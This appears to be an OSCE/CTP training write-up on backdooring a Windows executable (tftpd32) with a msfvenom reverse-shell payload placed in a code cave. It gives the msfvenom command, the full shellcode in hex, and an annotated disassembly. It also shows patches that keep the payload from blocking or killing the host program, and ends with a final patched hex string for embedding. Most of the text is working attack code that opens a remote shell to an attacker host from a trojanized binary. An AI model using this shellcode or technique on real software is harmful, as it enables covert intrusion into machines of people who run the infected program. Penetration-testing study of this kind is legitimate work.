Abstract
This is a document explaining how to locate WaitForSingleObject(..., INFINITE)
within msfvenom's (4.12.23-dev) generated payload and how to fix the payload's glitches. It goes through the analysis of a windows/shell_reverse_tcp payload, touching issues like stack alignment, WaitForSingleObject locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.
Contents:
- Generating a proper payload
- Preparing target executable.
- Embedding msfvenom payload to the code cave
- Explaining what the payload is all about
- Patching the Payload to make it work as needed
- Final payload with comments + hex string
Firstly, we are about to generate proper payload using msfvenom. The key here is to use EXITFUNC=none option in order to let the payload to proceed with code flow further, without invoking ExitProcess
/ ExitThread
.
The payload selected here will be windows/shell_reverse_tcp althougth there should be no issue with using windows/meterpreter/reverse_tcp as well.
Here's the proper msfvenom invokation:
kali|16:53|~/osce/labs/vista # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.XXX LPORT=4444 -f hex EXITFUNC=none
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
We then take this payload and copy it into clipboard.
I have myself always been more comfortable with overwriting _IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint
field rather than modifying first bytes of the OEP (Original Entry Point), but this does not make any difference for explaining patching process of the payload. As a matter of fact, modified AddressOfEntryPoint
pointing at the last section in the PE file, which is relatively small might trigger some flags in Antivirus products (or may be more suspicious than using Borrowed bytes technique as discussed in CTP Module #3). At the end we want to get into our code cave / injected new section or in other means our payload.
If one goes for borrowed bytes technique (meaning, by overwriting bytes from the OEP, then pasting those original bytes at the end of the custom payload before jumping back) those bytes will have to be pasted at the end of our payload, before the actual jump, and after POPAD
/ registers restoration.
So, I have changed (with having noted previous, original value of that field) AddressOfEntryPoint field into address of my new section (0x00446000), then inserted around let's say 600 NOPs consecutively.
My section looks the following:
.NewSec, VOffset: 0x46000, VSize: 0x1000, ROffset: 0x2D000, RSize: 0x1000, Flags: 0xE000000E0
From now on I assume my code cave starts at 0x446000 (that is: ImageBase + VOffset ).
At the end of the day, we need to have our code cave follow such layout:
- Some nops (nop sled)
PUSHAD
PUSHFD
- Some nops
- MSFVENOM PAYLOAD, unmodified at the moment anyhow.
- Some nops
- JMP to point 9.
ADD ESP, 0x1A4
- Stack alignment, when payload couldn't connectPOPFD
POPAD
- (OPTIONAL) if one borrowed bytes from OEP, instead of modifying AddressOfEntryPoint - those bytes has to be pasted here
JMP OEP
- where OEP is a PREVIOUS, original value of the field AddressOfEntryPoint that we clobbered.
The final payload has been pasted at the end of this gist.
Here's the explanation of the windows/shell_reverse_tcp payload in particular.
ResolveImport(DWORD dwFunctionNameHash, DWORD dwLibraryNameHash, ...);
This is a function, located at the 0x00446060 (always this address will get passed via EBP register) that takes in a first argument a function name hash, then resolves it and calls with having supplied additional parameters passed originally to that routine:
; Function start
00446060 60 pushad ; ResolveImport(dwHash, ...);
00446061 89E5 mov ebp, esp
00446063 31C0 xor eax, eax
00446065 64:8B50 30 mov edx, dword ptr fs:[eax+30]
...
004460D7 5A pop edx
004460D8 51 push ecx
004460D9 - FFE0 jmp eax ; Call resolved import with supplied params
; Function end
That last JMP eax
does actual function (import) call with supplied parameters, than it returns to the point where the ResolveImport
function was called from, for instance:
004460E3 68 33320000 push 3233
004460E8 68 7773325F push 5F327377
004460ED 54 push esp
004460EE 68 4C772607 push 726774C
004460F3 FFD5 call ebp ; ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");
004460F5 B8 90010000 mov eax, 190
Here's the code flow: 0x004460F3 invokes the ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");
function, that yields handle to the loaded ws2_32.dll DLL - the one responsible for internetwork communication API. Then, from the 0004460D9 JMP within ResolveImport
- the payload will return to the 0x004460F5 and take this up from that point on.
Having discussed how system imports are being invoked - here's the list of the APIs that get called:
LoadLibrary("ws2_32.dll")
WSAStartup(...)
WSASocketA(...)
connect(...)
- If connect succeeds:
CreateProcess("cmd", ...)
- If connect succeeds:
WaitForSingleObject(..., INFINITE)
A) Modifying the -1 (INFINITE) to 0 wait parameter.
Take a look at the below snippet:
0044616A 68 79CC3F86 push 863FCC79
0044616F FFD5 call ebp ; CreateProcess(cmd)
00446171 89E0 mov eax, esp
00446173 4E dec esi
00446174 56 push esi
00446175 46 inc esi
00446176 FF30 push dword ptr ds:[eax]
00446178 68 08871D60 push 601D8708
0044617D FFD5 call ebp ; WaitForSingleObject(..., INFINITE)
0044617F BB FE0E32EA mov ebx, EA320EFE
This is the place where after creating a CMD process the payload goes into awaiting for the process to exit. When this happens, the payload may proceed to it's EXITFUNC.
Notice the most important sequence:
00446173 4E dec esi
00446174 56 push esi
This is the very place where the ESI which originally was 0x00000000 gets decremented resulting in -1 (0xffffffff). In order to prevent having -1 we got to NOP out that dec esi
instruction:
00446173 4E nop ; PATCHED
00446174 56 push esi
B) The final patch that shall be applied is what happens when the payload fails connecting with our Kali/Backtrack machine. Originally it would go as far as:
00446130 74 0C je short tftpd32-.0044613E
00446132 FF4E 08 dec dword ptr ds:[esi+8]
00446135 ^ 75 EC jnz short tftpd32-.00446123
00446137 68 F0B5A256 push 56A2B5F0
0044613C FFD5 call ebp ; Probably ExitProcess
0044613E 68 636D6400 push 646D63
00446143 89E3 mov ebx, esp
This JE (0x00446130) check would fail, resulting in decrementing tryAgain counter and when that counter hits a zero - the JNZ not kicks in, leading the payload straight to the ExitProcess
which results in terminating our infected binary. No TFTPD window, sorry.
To remedy premature infected binary termination, we have to patch PUSH instruction (to avoid messing with the stack when not needed) into a JMP that would lead to our stack aligning code as described in Step 3 point 8 of the numbered list (remember that we need to jump over that point 7 and land right into point 8 ).
Stack aligning is needed because when the payload terminates prematurly it does not have any chances of getting the stack into it's original position. I have calculated that in this very point we have to add 0x1A4 to the ESP to get it right. So we need a add esp, 0x1a4
instruction right before the skipping jump.
How did I calculated that?
- Place brakepoint after the PUSHFD instruction (point 3. of previous number list)
- Note the ESP value (ESP0)
- Place breakpoint right in place of that PUSH at (0x00446137)
- Note the ESP value (ESP1)
- Calculate the difference (DIFF := ESP0 - ESP1) -> I've got 0x1A4.
Unfortunately, since there is a jump shortly before:
00446130 74 0C je short tftpd32-.0044613E
Leading into address that would get corrupted if we had applied the second patch inline (that is in place of that PUSH instruction), the result would be an Access Violation.
herefore we have to refine the strategy:
- Place at the 0x00446137 JUMP instruction (right after the payload) but before our
POPFD
instruction. - At the address: 0x004461b3 place a JMP-over instruction that would let the program skip Stack aligning if it reaches that place normally, after connecting to our payload. (point nr. 7 of our previous list)
- Then, at the 0x004461b5 we add stack aligning operation (add esp, 0x1a4) - (point nr. 8 of our previous list)
and that's all, this is how it supposed to look like:
0044612C FFD5 call ebp
0044612E 85C0 test eax, eax
00446130 74 0C je short tftpd32-.0044613E
00446132 FF4E 08 dec dword ptr ds:[esi+8]
00446135 ^ 75 EC jnz short tftpd32-.00446123
00446137 EB 7C jmp short tftpd32-.004461B5 ; PATCHED
00446139 90 nop ; PATCHED
0044613A 90 nop ; PATCHED
0044613B 90 nop ; PATCHED
0044613C FFD5 call ebp
0044613E 68 636D6400 push 646D63
00446143 89E3 mov ebx, esp
00446145 57 push edi
...
004461B3 /EB 07 jmp short tftpd32-.004461BC
004461B5 |81C4 A4010000 add esp, 1A4
004461BB |90 nop
004461BC \90 nop
004461BD 9D popfd
004461BE 61 popad
004461BF - E9 9AB1FCFF jmp tftpd32-.0041135E
Having these two patches applied, we save the binary and this is all.
00446000 90 nop ; MODULE DETOURED ENTRY POINT.
00446001 90 nop
00446002 60 pushad
00446003 9C pushfd
00446004 90 nop
00446005 90 nop
00446006 90 nop
00446007 90 nop
00446008 90 nop
00446009 90 nop
0044600A 90 nop
0044600B 90 nop
0044600C 90 nop
0044600D 90 nop
0044600E 90 nop
0044600F 90 nop
00446010 90 nop
00446011 90 nop
00446012 90 nop
00446013 90 nop
00446014 90 nop
00446015 90 nop
00446016 90 nop
00446017 90 nop
00446018 90 nop
00446019 90 nop
0044601A 90 nop
0044601B 90 nop
0044601C 90 nop
0044601D 90 nop
0044601E 90 nop
0044601F 90 nop
00446020 90 nop
00446021 90 nop
00446022 90 nop
00446023 90 nop
00446024 90 nop
00446025 90 nop
00446026 90 nop
00446027 90 nop
00446028 90 nop
00446029 90 nop
0044602A 90 nop
0044602B 90 nop
0044602C 90 nop
0044602D 90 nop
0044602E 90 nop
0044602F 90 nop
00446030 90 nop
00446031 90 nop
00446032 90 nop
00446033 90 nop
00446034 90 nop
00446035 90 nop
00446036 90 nop
00446037 90 nop
00446038 90 nop
00446039 90 nop
0044603A 90 nop
0044603B 90 nop
0044603C 90 nop
0044603D 90 nop
0044603E 90 nop
0044603F 90 nop
00446040 90 nop
00446041 90 nop
00446042 90 nop
00446043 90 nop
00446044 90 nop
00446045 90 nop
00446046 90 nop
00446047 90 nop
00446048 90 nop
00446049 90 nop
0044604A 90 nop
0044604B 90 nop
0044604C 90 nop
0044604D 90 nop
0044604E 90 nop
0044604F 90 nop
00446050 90 nop
00446051 90 nop
00446052 90 nop
00446053 90 nop
00446054 90 nop
00446055 90 nop
00446056 90 nop
00446057 90 nop
00446058 90 nop
00446059 90 nop
0044605A FC cld
0044605B E8 82000000 call tftpd32-.004460E2
00446060 60 pushad ; ResolveImports(dwFuncNameHash, dwLibrNameHash, ...)
00446061 89E5 mov ebp, esp
00446063 31C0 xor eax, eax
00446065 64:8B50 30 mov edx, dword ptr fs:[eax+30]
00446069 8B52 0C mov edx, dword ptr ds:[edx+C]
0044606C 8B52 14 mov edx, dword ptr ds:[edx+14]
0044606F 8B72 28 mov esi, dword ptr ds:[edx+28]
00446072 0FB74A 26 movzx ecx, word ptr ds:[edx+26]
00446076 31FF xor edi, edi
00446078 AC lods byte ptr ds:[esi]
00446079 3C 61 cmp al, 61
0044607B 7C 02 jl short tftpd32-.0044607F
0044607D 2C 20 sub al, 20
0044607F C1CF 0D ror edi, 0D
00446082 01C7 add edi, eax
00446084 ^ E2 F2 loopd short tftpd32-.00446078
00446086 52 push edx
00446087 57 push edi
00446088 8B52 10 mov edx, dword ptr ds:[edx+10]
0044608B 8B4A 3C mov ecx, dword ptr ds:[edx+3C]
0044608E 8B4C11 78 mov ecx, dword ptr ds:[ecx+edx+>
00446092 E3 48 jecxz short tftpd32-.004460DC
00446094 01D1 add ecx, edx
00446096 51 push ecx
00446097 8B59 20 mov ebx, dword ptr ds:[ecx+20]
0044609A 01D3 add ebx, edx
0044609C 8B49 18 mov ecx, dword ptr ds:[ecx+18]
0044609F E3 3A jecxz short tftpd32-.004460DB
004460A1 49 dec ecx
004460A2 8B348B mov esi, dword ptr ds:[ebx+ecx*>
004460A5 01D6 add esi, edx
004460A7 31FF xor edi, edi
004460A9 AC lods byte ptr ds:[esi]
004460AA C1CF 0D ror edi, 0D
004460AD 01C7 add edi, eax
004460AF 38E0 cmp al, ah
004460B1 ^ 75 F6 jnz short tftpd32-.004460A9
004460B3 037D F8 add edi, dword ptr ss:[ebp-8]
004460B6 3B7D 24 cmp edi, dword ptr ss:[ebp+24]
004460B9 ^ 75 E4 jnz short tftpd32-.0044609F
004460BB 58 pop eax
004460BC 8B58 24 mov ebx, dword ptr ds:[eax+24]
004460BF 01D3 add ebx, edx
004460C1 66:8B0C4B mov cx, word ptr ds:[ebx+ecx*2]
004460C5 8B58 1C mov ebx, dword ptr ds:[eax+1C]
004460C8 01D3 add ebx, edx
004460CA 8B048B mov eax, dword ptr ds:[ebx+ecx*>
004460CD 01D0 add eax, edx
004460CF 894424 24 mov dword ptr ss:[esp+24], eax
004460D3 5B pop ebx
004460D4 5B pop ebx
004460D5 61 popad
004460D6 59 pop ecx
004460D7 5A pop edx
004460D8 51 push ecx
004460D9 FFE0 jmp eax ; Resolved import function call
004460DB 5F pop edi
004460DC 5F pop edi
004460DD 5A pop edx
004460DE 8B12 mov edx, dword ptr ds:[edx]
004460E0 ^ EB 8D jmp short tftpd32-.0044606F
004460E2 5D pop ebp
004460E3 68 33320000 push 3233
004460E8 68 7773325F push 5F327377
004460ED 54 push esp
004460EE 68 4C772607 push 726774C
004460F3 FFD5 call ebp ; LoadLibrary('ws2_32.dll');
004460F5 B8 90010000 mov eax, 190
004460FA 29C4 sub esp, eax
004460FC 54 push esp
004460FD 50 push eax
004460FE 68 29806B00 push 6B8029
00446103 FFD5 call ebp ; WSAStartupA()
00446105 50 push eax
00446106 50 push eax
00446107 50 push eax
00446108 50 push eax
00446109 40 inc eax
0044610A 50 push eax
0044610B 40 inc eax
0044610C 50 push eax
0044610D 68 EA0FDFE0 push E0DF0FEA
00446112 FFD5 call ebp ; WSASocketA()
00446114 97 xchg eax, edi
00446115 6A 05 push 5
00446117 68 C0A86437 push 3764A8C0
0044611C 68 0200115C push 5C110002
00446121 89E6 mov esi, esp
00446123 6A 10 push 10
00446125 56 push esi
00446126 57 push edi
00446127 68 99A57461 push 6174A599
0044612C FFD5 call ebp ; connect()
0044612E 85C0 test eax, eax ; does connect succeeded?
00446130 74 0C je short tftpd32-.0044613E
00446132 FF4E 08 dec dword ptr ds:[esi+8] ; if not, try again, until counter not zero.
00446135 ^ 75 EC jnz short tftpd32-.00446123
00446137 EB 7C jmp short tftpd32-.004461B5 ; Could not connect, SKIP to stack align and
00446139 90 nop ; proceed further with infected binary.
0044613A 90 nop ; PATCHED
0044613B 90 nop ; PATCHED
0044613C FFD5 call ebp ; Here was an ExitProcess call
0044613E 68 636D6400 push 646D63 ; connect() succeeded, carry on.
00446143 89E3 mov ebx, esp
00446145 57 push edi
00446146 57 push edi
00446147 57 push edi
00446148 31F6 xor esi, esi
0044614A 6A 12 push 12
0044614C 59 pop ecx
0044614D 56 push esi
0044614E ^ E2 FD loopd short tftpd32-.0044614D
00446150 66:C74424 3C >mov word ptr ss:[esp+3C], 101
00446157 8D4424 10 lea eax, dword ptr ss:[esp+10]
0044615B C600 44 mov byte ptr ds:[eax], 44
0044615E 54 push esp
0044615F 50 push eax
00446160 56 push esi
00446161 56 push esi
00446162 56 push esi
00446163 46 inc esi
00446164 56 push esi
00446165 4E dec esi
00446166 56 push esi
00446167 56 push esi
00446168 53 push ebx
00446169 56 push esi
0044616A 68 79CC3F86 push 863FCC79
0044616F FFD5 call ebp ; CreateProcess(cmd) with redirected streams/handle
00446171 89E0 mov eax, esp
00446173 4E nop ; PATCHED, previous ESI decrementing (-1 -> INF)
00446174 56 push esi
00446175 46 inc esi
00446176 FF30 push dword ptr ds:[eax]
00446178 68 08871D60 push 601D8708
0044617D FFD5 call ebp ; WaitForSingleObject()
0044617F BB AAC5E25D mov ebx, 5DE2C5AA
00446184 68 A695BD9D push 9DBD95A6
00446189 FFD5 call ebp ; GetVersion()
0044618B 3C 06 cmp al, 6
0044618D 7C 0A jl short tftpd32-.00446199
0044618F 80FB E0 cmp bl, 0E0
00446192 75 05 jnz short tftpd32-.00446199
00446194 BB 4713726F mov ebx, 6F721347
00446199 6A 00 push 0
0044619B 53 push ebx
0044619C FFD5 call ebp ; GetLastError()
0044619E 90 nop ; Start of our trailing NOP Sled
0044619F 90 nop
004461A0 90 nop
004461A1 90 nop
004461A2 90 nop
004461A3 90 nop
004461A4 90 nop
004461A5 90 nop
004461A6 90 nop
004461A7 90 nop
004461A8 90 nop
004461A9 90 nop
004461AA 90 nop
004461AB 90 nop
004461AC 90 nop
004461AD 90 nop
004461AE 90 nop
004461AF 90 nop
004461B0 90 nop
004461B1 90 nop
004461B2 90 nop
004461B3 EB 07 jmp short tftpd32-.004461BC ; If we reached here, the Payload connected
004461B5 81C4 A4010000 add esp, 1A4 ; If we reached here, the Payload could not connect
004461BB 90 nop ; and therefore stack aligning is needed.
004461BC 90 nop
004461BD 9D popfd ; Restore original registers and flags values
004461BE 61 popad
004461BF - E9 9AB1FCFF jmp tftpd32-.0041135E ; Jump to Original Entry Point (OEP)
004461C4 90 nop
Or in hex-string:
9090609c9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875eceb7c909090ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e0905646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5909090909090909090909090909090909090909090eb0781c4a401000090909d61e99ab1fcff90
Remember to add a final JMP OEP instruction.
Good luck & Have fun.
@HackerOnTwoWheels: I'm glad to read that. Happy hacking!